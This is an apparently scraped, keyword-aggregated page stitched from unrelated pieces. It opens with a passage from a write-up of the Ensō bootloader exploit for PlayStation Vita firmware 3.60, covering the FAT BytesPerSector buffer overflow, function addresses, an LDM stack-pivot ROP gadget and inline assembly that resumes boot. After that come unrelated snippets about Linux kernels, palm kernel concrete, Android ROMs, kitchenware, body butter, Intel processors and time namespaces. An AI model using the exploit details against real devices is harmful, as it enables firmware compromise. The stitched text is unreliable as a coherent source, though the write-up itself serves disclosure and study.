00000040  00 60 00 00 00 80 00 00  00 00 00 00 00 00 00 00  |.`..............|
00000050  00 02 00 00 00 04 00 00  01 da 00 1f 0f 00 00 00  |................|
00000060  00 00 40 00 00 00 20 00  00 02 da 01 0f 0f 00 00  |..@... .........|
00000070  00 00 00 60 00 00 00 20  00 00 02 da 00 0f 0f 00  |...`... ........|
00000080  00 00 00 00 80 00 00 00  80 00 00 03 06 01 0f 0f  |................|
00000090  00 00 00 00 00 00 01 00  00 80 00 00 03 06 00 0f  |................|
000000a0  0f 00 00 00 00 00 80 01  00 00 00 03 00 0c 06 00  |................|
000000b0  ff 0f 00 00 00 00 00 80  04 00 00 00 01 00 06 06  |................|
000000c0  00 ff 0f 00 00 00 00 00  80 05 00 00 00 08 00 04  |................|
000000d0  06 00 0f 0f 00 00 00 00  00 80 0d 00 00 00 01 00  |................|
000000e0  05 06 00 ff 0f 00 00 00  00 00 80 0e 00 00 00 08  |................|
000000f0  00 0b 06 00 ff 0f 00 00  00 00 00 80 16 00 00 80  |................|
00000100  09 00 0e 07 00 ff 0f 00  00 00 00 00 00 20 00 00  |............. ..|
00000110  00 30 00 07 07 00 ff 0f  00 00 00 00 00 00 50 00  |.0............P.|
00000120  00 00 26 00 08 07 00 ff  0f 00 00 00 00 00 00 00  |..&.............|
00000130  00 00 00 26 00 00 00 00  00 00 00 00 00 00 00 00  |...&............|
00000140  00 00 00 00 76 00 00 00  00 00 00 00 00 00 00 00  |....v...........|
00000150  00 00 00 00 00 76 00 00  00 00 00 00 00 00 00 00  |.....v..........|
00000160  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
000001f0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 55 aa  |..............U.|

Yellow: idstorage; Cyan: active SLB2; Pink: inactive SLB2.

Note that the partition table is not aware of partitions’ contents. As such, there is a disconnect between for example how large a partition is in the partition table and how large the target filesystem is. The filesystem itself also isn’t aware of where it’s placed on the disk, so all offsets are relative to its first block.

Some important partitions, for example, os0: where kernel modules and other system files are stored, have a shadow copy. This is done so that a system update doesn’t brick your console if you lose power in the middle of it. The updater first overwrites the inactive os0 with the new version and then flips the active bit around. Since flipping the active bit is very fast, it is very unlikely that you’d lose power at that exact millisecond.

FAT file system

The os0: partition uses the FAT file system. The first block of the partition, called FAT boot sector, stores system data such as number of bytes per sector, number of sectors per head and number of heads per cylinder. For flash memory, like Vita uses, the concepts of cyliders or heads don’t make sense, but they are still present.

Normally, the boot sector looks like this:

00000000  eb fe 90 53 43 45 49 20  20 20 20 00 02 08 02 00  |...SCEI    .....|
00000010  02 00 02 00 80 f8 13 00  3f 00 ff 00 00 00 00 00  |........?.......|
00000020  00 00 00 00 80 00 29 22  40 77 48 4e 4f 20 4e 41  |......)"@wHNO NA|
00000030  4d 45 20 20 20 20 46 41  54 31 36 20 20 20 00 00  |ME    FAT16   ..|
00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
000001f0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 55 aa  |..............U.|

The vulnerability

At offset 0xB in the FAT boot sector there is a 16-bit value called BytesPerSector (marked in red). On Vita it is set to 0x200 to match the physical sector size.

The function that parses the boot sector is located at 0x5101FD18 in 3.60 NSBL. At some point it reads the field:

fat_bytes_per_sector = *(unsigned __int16 *)&fat_cache_2.magic[0xB];
fat_bytes_per_sector_minus_1 = *(unsigned __int16 *)&fat_cache_2.magic[0xB] - 1;

And then there’s a check at the end of the function:

if ( fat_bytes_per_sector_minus_1 >= 0x200 )
  return 0x803FF003;

It seems that if we set BytesPerSector to a large value, e.g. 0x400 it would error out and Vita would refuse to boot.

Sidenote: Notice how it compares not the original BytesPerSector, but rather a calculated BytesPerSector - 1. This is likely an optimization made by the compiler. The original code probably looked like:

if (BytesPerSector == 0 || BytesPerSector > 0x200) { error out }

In our case, if BytesPerSector is zero, then BytesPerSector - 1 would be 0xFFFFFFFF, and would also fail the optimized check.

But let’s look deeper. The function with the check described above, which I’m going to call fat_buggy_func, is called from another function located at 0x5100124C that I’ll name setup_emmc. This one does:

// ...
v8 = &os0_dev;
result = fat_buggy_func(v8, 0x110000, v9, v10);
// ...
return result;

Further, setup_emmc itself is called from the function responsible for loading the modules, located at 0x5100163C:

// ...
cpu_barrier_start2(0);
if ( !get_cpu_aff() ) { // if executed on CPU0
  setup_emmc();
// ...

Oops! Turns out, this one doesn’t use the return value at all! Therefore, NSBL will proceed even though BytesPerSector is now 0x400.

Since fat_buggy_func had returned early with an error, some code inside it did not execute and some variables were left uninitialized. Fortunatelly, it doesn’t matter for our exploit.

Looking for code that would use our BytesPerSector I found a function at 0x5101F56C. This is what I’ll call exploited_fat_func. It has the following loop:

while ( 1 )
{
  if ( *v73 )
  {
    v12 = (*v73)(dword_511673A0, v69, blocks_per_sector >> 9, temp_store);
  }
  else
  {
    raw_block_read = *(int (__fastcall **)(_DWORD, int, unsigned int, char *))(v68 + 84);
    if ( !raw_block_read )
      goto LABEL_42;
    // we'll exploit this call below
    v12 = raw_block_read(*(_DWORD *)(v68 + 88), v69, blocks_per_sector >> 9, temp_store);
  }
  if ( v12 < 0 )
    goto LABEL_42;
  blocks_per_sector = *(_DWORD *)(v68 + 80);
  v13 = blocks_per_sector >> 5;
  if ( blocks_per_sector >> 5 )
    break;
LABEL_49:
  if ( ++v69 == v77 )
  {
    v8 = v11;
    goto LABEL_51;
  }
}

raw_block_read is a function pointer. It reads 0x200-sized blocks from the flash. blocks_per_sector >> 9 is equivalent to blocks_per_sector / 0x200, so it calculates how many blocks a sector is made of and reads that much from the flash memory.

The data is read into temp_store which is a global array 0x200 bytes in size. Now that we’ve managed to set blocks_per_sector to 0x400, it will overflow the array and corrupt the data after it.

The function pointer, raw_block_read, is loaded from v68 + 84. v68 is a pointer to os0_dev, which is also a global variable. It is located at 0x51167784, while temp_store is located at 0x511671A0. As such, we can corrupt the whole structure including this function pointer by setting blocks_per_sector to e.g. 0x800.

Exploit process

Now if the loop executes at least twice, on the first iteration it will corrupt the function pointer and on the second it will execute our code!

Debugging the exploit

Since any mistake here would result in a permanently bricked console, testing the exploit requires a modified Vita system so that one can restore eMMC contents at any time. At the time I didn’t have access to one, so the initial testing was done on QEMU.

By mapping bootloader image to 0x51000000, stubbing some functions (e.g. changing raw_block_read to read from file instead of implementing the HW interface), we created a test environment that allowed for rapid prototyping of the exploit.

Sidenote: Vita has 4 ARM cores. You can think of it as 4 separate CPUs. When the non-secure world starts, all CPUs start executing NSBL from the first instruction at the same time.

The cpu_barrier_start and cpu_barrier_end functions make sure that different CPUs execute same code sequentially. For example, in pseudocode:

cpu_barrier_start()
some_function()
cpu_barrier_end()

some_function() would be called sequentially by CPU0, CPU1, CPU2, CPU3, and only a single CPU would execute it at a time.

However, there is a bug in these barrier functions. Can you find it? This bug never shows on real hardware, but on old QEMU it prevents us from going past the first barrier so I had to fix it. Here’s the code listing, including supporting functions.

What’s the best part about using QEMU? You get console output!

QEMU window

What’s even better? You get debugging too!

gdb window

It turns out that in addition to having no ASLR in the bootloader, it is also entirely mapped as RWX. At this point developing the rest of the exploit was a breeze. What I did was overwrite the function pointer with a pointer to the global buffer, then write our shellcode to the buffer. Soon I had a payload which did a printf (that you cannot see on real hardware) and another one which blinked the PS button led.

Exploit attempt 01

Testing on real hardware

I had davee help me test the payload on a real Vita which had a eMMC hardware mod implemented. Unfortunately, it did not work at all. The reason for that is that ARM is not instruction/data cache coherent. (which I really should’ve remembered but at the time was blinded by the excitement of having a boot time hack)

What that means is that you cannot just write code into RWX memory and jump into it – you have to writeback the data cache first and then flush the instruction cache. So even though there’s RWX memory and we have our code already there, we still have to implement a ROP chain to perform cache maintenance.

Fortunately, we have all the pieces already. We control the function pointer and also R0 (it is the first argument to the function, it’s loaded from v68 + 88 and we control data around v68). We also have our controlled data put at a known address, and NSBL has all the gadgets and cache maintenance functions we might ever need.

Exploit attempt 02

To kick off the ROP chain I used this LDM gadget that loads both PC and SP from R0 as a pivot:

0x51014f10 e890b672 ldm r0, {r1, r4, r5, r6, r9, sl, ip, sp, pc}

From there, the ROP chain calls data cache clean (also known as writeback on other architectures), instruction cache flush, and finally jumps to the payload. You can find the full ROP chain here.

Payload

Ultimately, we want Vita to boot. However, since 0x800 bytes of data section are corrupted, the bootloader now is in a weird state with a completely broken os0_dev. Not only is it overwritten, but there’s no actual “filesystem” in place, it’s just our hacked up boot sector. We have to restore it before the boot can proceed:

  1. Patch the partition read function. We redirect block 0 to block 1 and in Ensō installer write the original pristine partition table into block 1. We need to do this so that the rest of the system doesn’t use our broken os0 “partition”.

Sidenote: We’re redirecting all reads of block 0 to block 1, but not writes. This means if you read block 0 and then write it back, you’ll implicitly uninstall Ensō. One tool that does this is Sony firmware updater (when flipping active os0 bit), which is also the reason we’ve designed Ensō this way.

However, this results in unintutive and dangerous interactions. For example, if you uninstall Ensō, we restore block 0 and overwrite other blocks used by our payload (including block 1) with empty data. But this also means that if the system tries to read block 0 after the uninstall, it’d get garbage data. Which is why it’s important that any modification to Ensō operation is followed by a reboot.

eMMC state vs what the kernel sees

Another failure of our design is that we didn’t provide a way to detect whether Ensō is installed. To make sure we don’t uninstall what’s not installed, the original uninstaller checked block 1 to see if it’s a valid MBR. It then read it and wrote it to block 0. However, if instead of uninstalling Ensō through the application you upgraded your firmware and “implicitly” got rid of it, the block 1 would remain. At this point if you run the uninstaller again (never mind that there’s no reason to do that as Ensō is no longer installed), even if not on 3.60 anymore, it would see valid MBR in block 1, overwrite your real MBR with it and likely brick your console.

Why this bricked

The solution is simple yet perfect – just get rid of that logic. Instead, always read block 0 and write it back.

  1. Reinitialize os0_dev so that it points to the correct partition and can be read from.
  2. Restore the data we accidentally corrupted with the buffer overflow.

Sidenote: This was one of the show-stoppers during the development of Ensō. One of the more important things we overwrite is sysroot which stores a ton of console-specific information. Initially, I developed the exploit on an earlier firmware where the different layout of NSBL ensured that nothing important is overwritten. On 3.60, however, we were stuck. Without a valid sysroot the console wouldn’t get very far in the boot process. The sysroot is also generated by an earlier boot stage, so there’s no way to recreate it. Fortunately, Yifan has found out that just before our vulnerable code is executed, the sysroot is copied by NSBL to a different place, and we can easily copy it back. Crisis averted!

  1. Load the larger payload. It does some magic to make sure HENkaku and taihen are loaded on boot. Yifan wrote that one so it’s probably full of bugs, but you can check out his writeup here if you care.
  2. Restore the context and resume boot, as if nothing had happened.

When we enter the executable payload, sp is somewhere inside our ROP chain (which is somewhere inside the data section, near the os0_dev structure). The very first thing the payload does is change sp to unused scratch area so that our C code doesn’t turn the data section into garbage.

Once we’re done with our hooking and patching though, we want Vita to continue its boot process. But remember that our payload got called in the first place because of the exploit – while executing an NSBL function the bootloader just jumped into our code! And there’s nowhere for our payload to return, as it’s using a separate stack set up by the pivot gadget.

There’re multiple solutions to this problem. For example, one could reimplement NSBL from scratch, or clean it up and trigger a soft-reboot. However, I’ve solved this issue by “restarting” the exploited_fat_func from the point we took over. I did that by restoring corrupted registers to their original values, including the original SP. It is similar to how setjmp and longjmp work, although I never bothered to explicitly save the original values, instead, they are recalculated. Here’s the code:

// restore context and resume boot
uint32_t *sp = *(uint32_t**)(0x51030100 + 0x220); // sp top for core 0
uint32_t *old_sp = sp - 0x11d;
// r0: 0x51167784 os0_dev
// r1: 0xfffffffe
// r2: sp - 0x110
// r3: 0
__asm__ volatile (
    "movw r0, #0x7784\n"
    "movt r0, #0x5116\n"
    "movw r1, #0xfffe\n"
    "movt r1, #0xffff\n"
    "mov r2, %0\n"
    "mov r3, #0\n"
    "mov sp, %1\n"
    "mov r4, %2\n"
    "bx r4\n"
    :
    : "r" (sp - 0x110), "r" (old_sp), "r" (0x5101F571)
    : "r0", "r1", "r2", "r3", "r4"
);

And from that point the boot continues normally and your Vita boots straight into HENkaku. Isn’t that great?

Bricks & lessons learned

There were two bricks during the private testing period and ~3 bricks because of the uninstaller bug described above. Unfortunately, we didn’t learn about the brick bug fast enough because people reported it on various forums instead of using our issue tracker (which is also our fault as we didn’t provide a clearly visible URL pointing to it).

Having said that, with over 270,000 downloads as reported by GitHub, I consider this release a huge success. At the same time, there are still things we could’ve done better. The obvious one is lack of a way to detect whether Ensō is installed, but there’re also other ideas I’ve been thinking about such as auto-uploading installer logs to our server, checking for installer updates at startup, and a user-friendly way to update taiHEN and HENkaku kernel modules.

Hopefully, our experience will serve as a great example of why dangerous code like the installer cannot be too safe. While we did have a ton of safety checks, including reading back blocks after they are written and checking they’re intact, we still missed a bug that resulted in a few bricks. Fortunately, as it is fixed now, there are no more bugs left and Ensō installer is the first ever example of bug-free C code!

How Sony fixed it

The vulnerability was fixed by Sony in firmware 3.67, which means firmwares 3.60 to 3.65 (and potentially everything before 3.60) are exploitable. They added the missing return value check and a panic call inside setup_emmc after fat_buggy_func is called.

result = fat_buggy_func(/* ... */);
os0_ret = result;
// ...
if ( os0_ret )
  panic(/* ... */);

In addition, they sprinkled BytesPerSector checks over various read-related functions, so even if by some miracle one manages to bypass the panic call, the moment e.g. sceIoRead is called, your Vita would explode.

Epilogue

The vulnerability here conceptually is way simpler than the HENkaku one, just a trivial global buffer overflow. The lack of the usual mitigations (ASLR, read-only code, etc) also makes it really easy to exploit. On the other hand, there’s way less attack surface (i.e. zero syscalls) compared to the whole kernel and you kind of need to be good at soldering to attempt the hardware mod.

Existence of another vulnerability in NSBL is mathematically impossible in this new paradigm. In a sense, we got very lucky with the Ensō one as other than this really obvious issue (sabotage by a disgruntled Sony employee? ヽ(°〇°)ノ) there’s not much left in NSBL.

That’s all for today, thanks for reading!

Acknowledgements

I’d like to thank Yifan Lu for proofreading the initial version of this article.


          Comentario en Linux 5.x: la rama del kernel dará el salto de numeración a principios de 2019 por HO2Gi      Cache   Translate Page      
"aprotando paches y actualizaciones".
           Structural behaviour of reinforced palm kernel shell foamed concrete beams       Cache   Translate Page      
Alengaram, U.J. and Jumaat, M.Z. and Mahmud, H. (2009) Structural behaviour of reinforced palm kernel shell foamed concrete beams. In: Proceedings of the Fifth International Structural Engineering and Construction Conference, 22-25 Sept 2009, Las Vegas, USA.
          Omega Rom v4.0 for Galaxy S8 and S8+ Android 7.0 Nougat released      Cache   Translate Page      

Omega Rom Samsung S8 + S8+#source%3Dgooglier%2Ecom#https%3A%2F%2Fgooglier%2Ecom%2Fpage%2F%2F10000

Omega Rom v4.0 for Galaxy S8 and S8+ Android 7.0 Nougat

Changelog:
Based on XXU1AQG5 Android 7.0 (Date: 07/07/2017)
Security Patch Level 2017-07-01
Omega Kernel
Rom is deodexed + Rooted + Zipaligned
Rom is No Full Wipe
Read the full changelog here

Installation Instructions:
Read all the info here

Download:
You can download Omega from Omega’s Download Center
and from your device with Omega Files Pro app.
Omega Files Pro offers downloads with ... Continue reading

          Omega Rom v3.1 for Galaxy S8 and S8+ Android 7.0 Nougat released      Cache   Translate Page      

Omega Rom Samsung S8 + S8+#source%3Dgooglier%2Ecom#https%3A%2F%2Fgooglier%2Ecom%2Fpage%2F%2F10000

Omega Rom v3.1 for Galaxy S8 and S8+ Android 7.0 Nougat

Changelog:
Based on firmware XXU1AQF7 Android 7.0 (Date: 08/06/2017)
Security Patch Level 1 June 2017
BatStock-Kernel by Tkkg1994
Rom is deodexed + Rooted + Zipaligned
Rom is No Full Wipe
Read the full changelog here

Installation Instructions:
Read all the info here

Download:
You can download Omega from Omega’s Download Center
and from your device with Omega Files Pro app.
Omega Files ... Continue reading

          Omega Rom v3.0 for Galaxy S8 and S8+ Android 7.0 Nougat released      Cache   Translate Page      

Omega Rom Samsung S8 + S8+#source%3Dgooglier%2Ecom#https%3A%2F%2Fgooglier%2Ecom%2Fpage%2F%2F10000

Omega Rom v3.0 for Galaxy S8 and S8+ Android 7.0 Nougat

Changelog:
Based on firmware XXU1AQF7 Android 7.0 (Date: 08/06/2017)
Security Patch Level 1 June 2017
BatStock-Kernel by Tkkg1994
Rom is deodexed + Rooted + Zipaligned
Rom is No Full Wipe
Read the full changelog here

Installation Instructions:
Read all the info here

Download:
You can download Omega from Omega’s Download Center
and from your device with Omega Files Pro app.
Omega Files ... Continue reading

          Omega Rom v2.1 for Galaxy S8 and S8+ Android 7.0 Nougat released      Cache   Translate Page      

Omega Rom Samsung S8 + S8+#source%3Dgooglier%2Ecom#https%3A%2F%2Fgooglier%2Ecom%2Fpage%2F%2F10000

Omega Rom v2.1 for Galaxy S8 and S8+ Android 7.0 Nougat

Changelog:
Based on firmware XXU1AQEB Android 7.0 (Date: 19/05/2017)
Security Patch Level 1 May 2017
BatStock-Kernel by Tkkg1994
Rom is deodexed + Rooted + Zipaligned
Rom is No Full Wipe
Read the full changelog here

Installation Instructions:
Read all the info here

Download:
You can download Omega from Omega’s Download Center
and from your device with Omega Files Pro app.
Omega Files ... Continue reading

          Omega Rom v2.0 for Galaxy S8 and S8+ Android 7.0 Nougat released      Cache   Translate Page      

Omega Rom Samsung S8 + S8+#source%3Dgooglier%2Ecom#https%3A%2F%2Fgooglier%2Ecom%2Fpage%2F%2F10000

Omega Rom v2.0 for Galaxy S8 and S8+ Android 7.0 Nougat

Changelog:
Based on firmware XXU1AQEB Android 7.0 (Date: 19/05/2017)
Security Patch Level 1 May 2017
BatStock-Kernel by Tkkg1994
Rom is deodexed + Rooted + Zipaligned
Rom is No Full Wipe
Read the full changelog here

Installation Instructions:
Read all the info here

Download:
You can download Omega from Omega’s Download Center
and from your device with Omega Files Pro app.
Omega Files ... Continue reading

          Linux Kernel 4.19 recibe su primera actualización de mantenimiento, listo para instalaciones masivas      Cache   Translate Page      

Después de lanzar la serie Linux 4.19, el desarrollador Greg Kroah-Hartman ha vuelto para seguir actualizando varias ramas con soporte...

El artículo Linux Kernel 4.19 recibe su primera actualización de mantenimiento, listo para instalaciones masivas ha sido originalmente publicado en Linux Adictos.


           Thermostability and polymorphism of theobroma oil and palm kernel oil as suppository bases       Cache   Translate Page      
Noordin, M.I. and Chung, L.Y. (2009) Thermostability and polymorphism of theobroma oil and palm kernel oil as suppository bases. Journal of Thermal Analysis and Calorimetry, 95 (3). pp. 891-894. ISSN 1388-6150
          Two Vintage Corn on the Cob Serving Plates, Embassy Quality Products Brown and Yellow Corn Plates by buckeyesandbluegrass      Cache   Translate Page      

24.00 USD

These two corn on the cob serving plates are 11 1/4" x 4" and about 1" deep, and are made with deep yellow kernels surrounded by soft brown and cream husks in relief. They are in good shape, with no chips or cracks; one plate has a small fleabite on the pointed end. The bases are marked "Embassy Quality Products."

We estimate the cost of shipping from coast to coast, and all shipping includes delivery confirmation; most includes insurance. We will refund any difference greater than $2 between the shipping charges paid and the actual cost of shipping, and will always combine shipping whenever possible.

We are happy to ship internationally - if you do not see your country listed as a shipping option please convo us for an estimate.

Residents of Ohio will be charged 7.25% sales tax at checkout.

See more from Buckeyes and Bluegrass at buckeyesandbluegrass.etsy.com


           Influence of sand/cement ratio on mechanical properties of palm kernel shell concrete       Cache   Translate Page      
Mahmud, H.B. and Jumaat, M.Z. and Alengaram, U.J. (2009) Influence of sand/cement ratio on mechanical properties of palm kernel shell concrete. Journal of Applied Sciences, 9 (9). pp. 1764-1769. ISSN 18125654
          El chip de seguridad T2 de Apple impide instalar Linux en los nuevos Mac [ENG]      Cache   Translate Page      

Los MacBook Pro de Apple se han vuelto cada vez más hostiles con Linux en los últimos años. Mientras que los Mac Mini generalmente siguen funcionando bien con la mayoría de las distribuciones de Linux (no tienen que preocuparse por las múltiples GPU y otro hardware de Apple que a menudo resulta problemático con el kernel de Linux), es probable que los últimos sistemas Mac Mini que emplean el chip de seguridad T2 aplasten cualquier sueño de Linux. Al menos hasta nuevo aviso, estos nuevos sistemas Apple con el chip T2 no podrán arrancar Linux.

etiquetas: apple, t2, chip de seguridad, impide, instalar, linux

» noticia original (www.phoronix.com)


          Administrador SAP/ AS400 - Krell Consulting & Training - Valencia, España      Cache   Translate Page      
Krell Consulting & Training, es una compañía de consultoría tecnológica y desarrollos de sistemas IT, con innovación, calidad y capacidad en la formación especializada de sus profesionales y clientes. Buscamos un Administrador de SAP sobre AS400 para trabajar en uno de nuestros principales clientes en Valencia. Funciones: Copias homogéneas. Actualización kernel. Exportación de B.D. DB2/400. Requisitos: Capacidad de trabajo en equipo. Se valorará certificación oficial...
          Death By Chocolate Whipped Body Butter, Goat Milk, Shea and Cocoa Butter With Vitamin C, Handmade by GaGirlNaturals      Cache   Translate Page      

9.25 USD

Death By Chocolate Whipped Body Butter, Goat Milk, Shea and Cocoa Butter With Vitamin C, Handmade

Death By Chocolate is super rich and decadent-chocolate mother load. Think of chocolate icing!

Want a handmade body butter that is skin softening and moisturizing and also has many wonderful benefits for your skin? Then, you have found a body butter for you! My handmade goat milk based whipped body butter is a luxurious treat for your skin. Made with goat milk, vitamin C, shea and cocoa butters, coconut, apricot kernel, avocado, olive, grape seed, pomegranate seed, argan, rose hip seed, and vitamin E oils to nourish your skin and provide many skin loving benefits.

Goat milk contains alpha-hydroxy acids that help to exfoliate dry, dead skin cells, contains probiotics which helps protect the skin from ultra violet light, contains high amounts of protein, fat, iron, vitamin A, B6, B12, C, D, E, and many more. These vitamins and minerals help slow down aging, help the skin rebuild, add elasticity, and help retain skin moisture, is readily absorbed into the skin, and very moisturizing. Vitamin C helps build collagen, protects against ultra violet rays, and contains antioxidants. Rose hip seed oil contains retinoic acid, a natural form of vitamin A. Pomegranate Seed oil is powerfully antioxidant and anti-inflammatory; and it is known to significantly boost epidermal cellular regeneration. Avocado, apricot kernel, olive, grape seed and coconut oils are readily absorbed into the skin, and very moisturizing.

My handmade products are made to order fresh for you.

*Paraben, propylene glycol, gluten, and phthalate free.*

4 ounce jar

Ingredients: Distilled water, sunflower oil, soya oil, vegetable glycerin, potassium sorbate, meadow foam oil, jojoba oil, goat's milk, aloe vera, vitamin c, shea butter, cocoa butter, coconut oil, pomegranate seed oil, olive oil, apricot kernel oil, avocado oil, grape seed oil, argan oil, rose hip seed oil, vitamin E oil, stearic acid, cetyl alcohol, emulsifying wax, palmitic acid

** Please note that cosmetic products like soaps and lotions can begin to melt if left in high temperatures. Please note your tracking information and try to be available to receive your package promptly.**

My Credentials:

I have a Master Cosmetology License and a Certificate
In Natural Health and Healing.

[*Type*] - Name trademarks and copyrights are properties of their respective manufacturers and/or designers. These versions are NOT to be confused with the originals and GaGirlNaturals has no affiliation with the manufacturers/designers. This description is to give the customer an idea of scent character, not to mislead, confuse the customer or infringe on the manufacturers/designer's name and valuable trademark.

**Customer Reviews**

Smells just wonderful. Quick shipping also. Thanks


          Cashmere Mist Type Whipped Body Butter, Goat Milk, Shea and Cocoa Butter With Vitamin C, Handmade by GaGirlNaturals      Cache   Translate Page      

9.25 USD

Cashmere Mist Type Whipped Body Butter, Goat Milk, Shea and Cocoa Butter With Vitamin C, Handmade

Compare to Cashmere Mist fragrance.

Cashmere Mist is a delicate, modest blend of tuberose, lemon, cassis, and honeysuckle, mingled with vanilla and cashmeran with top notes of sensual satinwood, sandalwood, and amber.

Want a handmade body butter that is skin softening and moisturizing and also has many wonderful benefits for your skin? Then, you have found a body butter for you! My handmade goat milk based whipped body butter is a luxurious treat for your skin. Made with goat milk, vitamin C, shea and cocoa butters, coconut, apricot kernel, avocado, olive, grape seed, pomegranate seed, argan, rose hip seed, and vitamin E oils to nourish your skin and provide many skin loving benefits.

Goat milk contains alpha-hydroxy acids that help to exfoliate dry, dead skin cells, contains probiotics which helps protect the skin from ultra violet light, contains high amounts of protein, fat, iron, vitamin A, B6, B12, C, D, E, and many more. These vitamins and minerals help slow down aging, help the skin rebuild, add elasticity, and help retain skin moisture, is readily absorbed into the skin, and very moisturizing. Vitamin C helps build collagen, protects against ultra violet rays, and contains antioxidants. Rose hip seed oil contains retinoic acid, a natural form of vitamin A. Pomegranate Seed oil is powerfully antioxidant and anti-inflammatory; and it is known to significantly boost epidermal cellular regeneration. Avocado, apricot kernel, olive, grape seed and coconut oils are readily absorbed into the skin, and very moisturizing.

4 Oz. Jar

My handmade products are made to order fresh for you.

*Paraben, propylene glycol, gluten, and phthalate free.*

Ingredients: Distilled water, sunflower oil, soya oil, vegetable glycerin, potassium sorbate, meadow foam oil, jojoba oil, goat's milk, aloe vera, vitamin c, shea butter, cocoa butter, coconut oil, pomegranate seed oil, olive oil, apricot kernel oil, avocado oil, grape seed oil, argan oil, rose hip seed oil, vitamin E oil, stearic acid, cetyl alcohol, emulsifying wax, palmitic acid

** Please note that cosmetic products like soaps and lotions can begin to melt if left in high temperatures. Please note your tracking information and try to be available to receive your package promptly.**

My Credentials:

I have a Master Cosmetology License and a Certificate
In Natural Health and Healing.

[*Type*] - Name trademarks and copyrights are properties of their respective manufacturers and/or designers. These versions are NOT to be confused with the originals and GaGirlNaturals has no affiliation with the manufacturers/designers. This description is to give the customer an idea of scent character, not to mislead, confuse the customer or infringe on the manufacturers/designer's name and valuable trademark.

**CUSTOMER REVIEWS**

Amazing! I love the smell of snow fairy and rock star from, but I’m not crazy about their ingredients. This product smells just like and it is a great moisturizer! I will be ordering more from this store!


          WireGuard Is Now Available On Apple iOS      Cache   Translate Page      
Phoronix: WireGuard Is Now Available On Apple iOS While WireGuard didn't make it for Linux 4.20 to the mainline kernel, if you are using an Apple...
          Essential Performance with Advanced Security: Intel® Xeon® E-2100 - Intel® Chip Chat episode 613      Cache   Translate Page      
Jennifer Huffstetler, VP and GM for Data Center Product Management at Intel, joins Chip Chat to outline the exciting new capabilities of the Intel® Xeon® E-2100 processor featuring Intel® Software Guard Extensions (Intel® SGX). Huffstetler is responsible for the management of Intel's data center processor and storage products. Huffstetler shares the news that Intel Xeon E-2100 processor family is now available for entry servers and protected cloud use cases. The new Intel Xeon E-2100 processor improves performance by 39%[1] compared to the prior generation, offers up to 6 cores, and supports up to 128 GB of DDR4 ECC memory[2]. Huffstetler discusses use cases for small and mid-sized businesses, larger enterprises, and customers seeking enhanced security features. Huffstetler also speaks to main takeaways from a recent panel she led (https://intel.com/xeonepanel) on Intel SGX and secure cloud services and how Intel Xeon E-2100 is preparing the ecosystem for broader adoption of Intel SGX technology. For more information on the Intel Xeon E-2100 processor, please visit https://intel.com/xeone and follow Huffstetler on Twitter at https://twitter.com/jenhuffstetler. Software and workloads used in performance tests may have been optimized for performance only on Intel microprocessors. Performance tests, such as SYSmark and MobileMark, are measured using specific computer systems, components, software, operations and functions. Any change to any of those factors may cause the results to vary. You should consult other information and performance tests to assist you in fully evaluating your contemplated purchases, including the performance of that product when combined with other products. For more complete information visit www.intel.com/benchmarks. Performance results are based on testing as of 10/12/2018 and may not reflect all publicly available security updates. See configuration disclosure for details. No product can be absolutely secure. Results have been estimated or simulated using internal Intel analysis or architecture simulation or modeling, and provided to you for informational purposes. Any differences in your system hardware, software or configuration may affect your actual performance. Intel technologies’ features and benefits depend on system configuration and may require enabled hardware, software or service activation. Performance varies depending on system configuration. Check with your system manufacturer or retailer or learn more at intel.com. [1] Up to 39% more compute integer throughput with Intel® Xeon® E-2186G Processor compared with Intel® Xeon® Processor E3-1285 v6. System Config: Tested at Intel Corp as of 10/12/2018 1x Intel® Xeon® E-2186G Processor, Platform: Moss Beach, 4 x 8GB DDR4 2666 ECC(32GB 2666MHz ) ,OS: Ubuntu 18.04.1 LTS (Kernel 4.15.0-29-generic) ,Benchmark: SPECrate*2017_int_base (Estimated), Compiler: ICC 18.0.2 20180210,BIOS: CNLSE2R1.R00.X138.B81.1809120626, uCode:0x96, Storage: SSD S3710 Series 800GB, Score: 41.4 (Estimated) compared to 1x Intel® Xeon® E3-1285v6 Processor Platform: S1200RP, 4 x 8GB DDR4 2400 (32GB 2400MHz ) ,OS: Ubuntu 18.04.1 LTS (Kernel 4.15.0-29-generic), Benchmark: SPECrate*2017_int_base (Estimated), Compiler: 18.0.2 20180210,BIOS: S1200SP.86B.03.01.0038.062620180344, uCode:0x8e, Storage: SSD S3710 Series 800GB, Score: 29.7 (Estimated) [2] Support for up to 128GB system memory capacity will be available in 2019 through a published BIOS update. Please contact your hardware provider for availability and support. Intel and the Intel logo are trademarks of Intel Corporation or its subsidiaries in the U.S. and/or other countries. *Other names and brands may be claimed as the property of others. © Intel Corporation.
          Virtualizing the Clock      Cache   Translate Page      

Dmitry Safonov wanted to implement a namespace for time information. The twisted and bizarre thing about virtual machines is that they get more virtual all the time. There's always some new element of the host system that can be given its own namespace and enter the realm of the virtual machine. But as that process rolls forward, virtual systems have to share aspects of themselves with other virtual systems and the host system itself—for example, the date and time.

Dmitry's idea is that users should be able to set the day and time on their virtual systems, without worrying about other systems being given the same day and time. This is actually useful, beyond the desire to live in the past or future. Being able to set the time in a container is apparently one of the crucial elements of being able to migrate containers from one physical host to another, as Dmitry pointed out in his post.

As he put it:

The kernel provides access to several clocks: CLOCK_REALTIME, CLOCK_MONOTONIC, CLOCK_BOOTTIME. Last two clocks are monotonous, but the start points for them are not defined and are different for each running system. When a container is migrated from one node to another, all clocks have to be restored into consistent states; in other words, they have to continue running from the same points where they have been dumped.

Dmitry's patch wasn't feature-complete. There were various questions still to consider. For example, how should a virtual machine interpret the time changing on the host hardware? Should the virtual time change by the same offset? Or continue unchanged? Should file creation and modification times reflect the virtual machine's time or the host machine's time?

Eric W. Biederman supported this project overall and liked the code in the patch, but he did feel that the patch could do more. He thought it was a little too lightweight. He wanted users to be able to set up new time namespaces at the drop of a hat, so they could test things like leap seconds before they actually occurred and see how their own projects' code worked under those various conditions.

To do that, he felt there should be a whole "struct timekeeper" data structure for each namespace. Then pointers to those structures could be passed around, and the times of virtual machines would be just as manipulable and useful as times on the host system.

In terms of timestamps for filesystems, however, Eric felt that it might be best to limit the feature set a little bit. If users could create files with timestamps in the past, it could introduce some nasty security problems. He felt it would be sufficient simply to "do what distributed filesystems do when dealing with hosts with different clocks".

